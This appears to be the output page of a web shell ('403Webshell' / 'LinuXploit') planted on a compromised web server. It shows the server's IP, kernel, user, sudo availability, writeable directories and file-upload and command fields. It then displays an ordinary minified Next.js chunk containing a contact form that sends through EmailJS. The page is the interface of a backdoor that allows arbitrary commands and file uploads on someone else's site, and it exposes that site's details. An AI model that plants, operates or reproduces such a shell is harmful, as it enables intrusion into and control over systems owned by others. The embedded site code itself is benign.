403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/philiprehberger-nextjs/.next/static/chunks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/philiprehberger-nextjs/.next/static/chunks/276-50c7e7c78788ce66.js
(self.webpackChunk_N_E=self.webpackChunk_N_E||[]).push([[276],{2085:(e,t,s)=>{"use strict";s.d(t,{ContactForm:()=>P});var r=s(5155),i=s(2115);class o{constructor(e=0,t="Network Error"){this.status=e,this.text=t}}let a={origin:"https://api.emailjs.com",blockHeadless:!1,storageProvider:(()=>{if("undefined"!=typeof localStorage)return{get:e=>Promise.resolve(localStorage.getItem(e)),set:(e,t)=>Promise.resolve(localStorage.setItem(e,t)),remove:e=>Promise.resolve(localStorage.removeItem(e))}})()},l=e=>e?"string"==typeof e?{publicKey:e}:"[object Object]"===e.toString()?e:{}:{},n=async(e,t,s={})=>{let r=await fetch(a.origin+e,{method:"POST",headers:s,body:t}),i=await r.text(),l=new o(r.status,i);if(r.ok)return l;throw l},d=(e,t,s)=>{if(!e||"string"!=typeof e)throw"The public key is required. Visit https://dashboard.emailjs.com/admin/account";if(!t||"string"!=typeof t)throw"The service ID is required. Visit https://dashboard.emailjs.com/admin";if(!s||"string"!=typeof s)throw"The template ID is required. Visit https://dashboard.emailjs.com/admin/templates"},m=e=>e.webdriver||!e.languages||0===e.languages.length,c=()=>new o(451,"Unavailable For Headless Browser"),b=(e,t)=>{if((e=>!e.list?.length||!e.watchVariable)(e))return!1;var s=e.list,r=e.watchVariable;if(!Array.isArray(s))throw"The BlockList list has to be an array";if("string"!=typeof r)throw"The BlockList watchVariable has to be a string";let i=((e,t)=>e instanceof FormData?e.get(t):e[t])(t,e.watchVariable);return"string"==typeof i&&e.list.includes(i)},h=()=>new o(403,"Forbidden"),u=async(e,t,s)=>{let r=Number(await s.get(e)||0);return t-Date.now()+r},g=async(e,t,s)=>{if(!t.throttle||!s)return!1;((e,t)=>{if("number"!=typeof e||e<0)throw"The LimitRate throttle has to be a positive number";if(t&&"string"!=typeof t)throw"The LimitRate ID has to be a non-empty string"})(t.throttle,t.id);let r=t.id||e;return await u(r,t.throttle,s)>0||(await s.set(r,Date.now().toString()),!1)},p=()=>new o(429,"Too Many Requests"),v={send:async(e,t,s,r)=>{let i=l(r),o=i.publicKey||a.publicKey,u=i.blockHeadless||a.blockHeadless,v=i.storageProvider||a.storageProvider,y={...a.blockList,...i.blockList},f={...a.limitRate,...i.limitRate};return u&&m(navigator)?Promise.reject(c()):(d(o,e,t),(e=>{if(e&&"[object Object]"!==e.toString())throw"The template params have to be the object. Visit https://www.emailjs.com/docs/sdk/send/"})(s),s&&b(y,s))?Promise.reject(h()):await g(location.pathname,f,v)?Promise.reject(p()):n("/api/v1.0/email/send",JSON.stringify({lib_version:"4.4.1",user_id:o,service_id:e,template_id:t,template_params:s}),{"Content-type":"application/json"})}};function y(e){let{label:t,id:s,name:i,type:o="text",placeholder:a,required:l=!1,disabled:n=!1,className:d=""}=e;return(0,r.jsxs)("div",{className:d,children:[(0,r.jsxs)("label",{htmlFor:s,className:"block text-sm font-medium text-gray-700",children:[t,l&&(0,r.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,r.jsx)("input",{type:o,id:s,name:i,required:l,disabled:n,className:"mt-1 block w-full rounded-md border border-gray-300 bg-white px-4 py-2 text-gray-900 focus:border-blue-500 focus:outline-none focus:ring-1 focus:ring-blue-500 disabled:cursor-not-allowed disabled:opacity-50",placeholder:a})]})}function f(e){let{label:t,id:s,name:i,placeholder:o,rows:a=6,required:l=!1,disabled:n=!1,className:d=""}=e;return(0,r.jsxs)("div",{className:d,children:[(0,r.jsxs)("label",{htmlFor:s,className:"block text-sm font-medium text-gray-700",children:[t,l&&(0,r.jsx)("span",{className:"text-red-500",children:"*"})]}),(0,r.jsx)("textarea",{id:s,name:i,rows:a,required:l,disabled:n,className:"mt-1 block w-full rounded-md border border-gray-300 bg-white px-4 py-2 text-gray-900 focus:border-blue-500 focus:outline-none focus:ring-1 focus:ring-blue-500 disabled:cursor-not-allowed disabled:opacity-50",placeholder:o})]})}function P(){let[e,t]=(0,i.useState)(!1),[s,o]=(0,i.useState)("idle"),[a,l]=(0,i.useState)(""),n=async e=>{e.preventDefault(),t(!0),o("idle"),l("");let s=e.currentTarget,r=new FormData(s),i={from_name:r.get("name"),from_email:r.get("email"),subject:r.get("subject"),message:r.get("message")};try{await v.send("service_vya873h","template_6ilaky7",i,"1EvPRt_Y_1owrR37p"),o("success"),s.reset(),setTimeout(()=>o("idle"),5e3)}catch(e){console.error("EmailJS error:",e),o("error"),l("Failed to send message. Please try again or contact me directly.")}finally{t(!1)}};return(0,r.jsxs)("div",{children:[(0,r.jsxs)("form",{onSubmit:n,className:"mt-6 space-y-6",children:[(0,r.jsx)(y,{label:"Name",id:"name",name:"name",type:"text",placeholder:"Your name",required:!0,disabled:e}),(0,r.jsx)(y,{label:"Email",id:"email",name:"email",type:"email",placeholder:"your.email@example.com",required:!0,disabled:e}),(0,r.jsx)(y,{label:"Subject",id:"subject",name:"subject",type:"text",placeholder:"Project inquiry",disabled:e}),(0,r.jsx)(f,{label:"Message",id:"message",name:"message",rows:6,placeholder:"Tell me about your project...",required:!0,disabled:e}),(0,r.jsx)("button",{type:"submit",disabled:e,className:"w-full rounded-lg bg-blue-600 px-6 py-3 font-semibold text-white transition-colors hover:bg-blue-700 disabled:cursor-not-allowed disabled:opacity-50",children:e?"Sending...":"Send Message"})]}),"success"===s&&(0,r.jsxs)("div",{className:"mt-4 rounded-lg bg-green-900/50 border border-green-700 p-4 text-green-200",children:[(0,r.jsx)("p",{className:"font-semibold",children:"Message sent successfully!"}),(0,r.jsx)("p",{className:"text-sm mt-1",children:"I'll get back to you as soon as possible."})]}),"error"===s&&(0,r.jsxs)("div",{className:"mt-4 rounded-lg bg-red-900/50 border border-red-700 p-4 text-red-200",children:[(0,r.jsx)("p",{className:"font-semibold",children:"Error sending message"}),(0,r.jsx)("p",{className:"text-sm mt-1",children:a})]})]})}},6276:(e,t,s)=>{Promise.resolve().then(s.t.bind(s,2619,23)),Promise.resolve().then(s.bind(s,6428)),Promise.resolve().then(s.bind(s,4018)),Promise.resolve().then(s.bind(s,3351)),Promise.resolve().then(s.bind(s,2079)),Promise.resolve().then(s.bind(s,5646)),Promise.resolve().then(s.bind(s,2622)),Promise.resolve().then(s.bind(s,6257)),Promise.resolve().then(s.bind(s,8967)),Promise.resolve().then(s.bind(s,9179)),Promise.resolve().then(s.bind(s,1838)),Promise.resolve().then(s.bind(s,6115)),Promise.resolve().then(s.bind(s,9494)),Promise.resolve().then(s.bind(s,5321)),Promise.resolve().then(s.bind(s,8016)),Promise.resolve().then(s.bind(s,7375)),Promise.resolve().then(s.bind(s,9383)),Promise.resolve().then(s.bind(s,2836)),Promise.resolve().then(s.bind(s,8006)),Promise.resolve().then(s.bind(s,2232)),Promise.resolve().then(s.bind(s,5564)),Promise.resolve().then(s.bind(s,663)),Promise.resolve().then(s.bind(s,2085)),Promise.resolve().then(s.bind(s,6956)),Promise.resolve().then(s.bind(s,4088)),Promise.resolve().then(s.bind(s,3788)),Promise.resolve().then(s.bind(s,1166)),Promise.resolve().then(s.bind(s,2580)),Promise.resolve().then(s.bind(s,8376)),Promise.resolve().then(s.bind(s,2177)),Promise.resolve().then(s.bind(s,3070)),Promise.resolve().then(s.bind(s,1480)),Promise.resolve().then(s.bind(s,4983)),Promise.resolve().then(s.bind(s,1073)),Promise.resolve().then(s.bind(s,3107)),Promise.resolve().then(s.bind(s,695))}}]);

Youez - 2016 - github.com/yon3zu
LinuXploit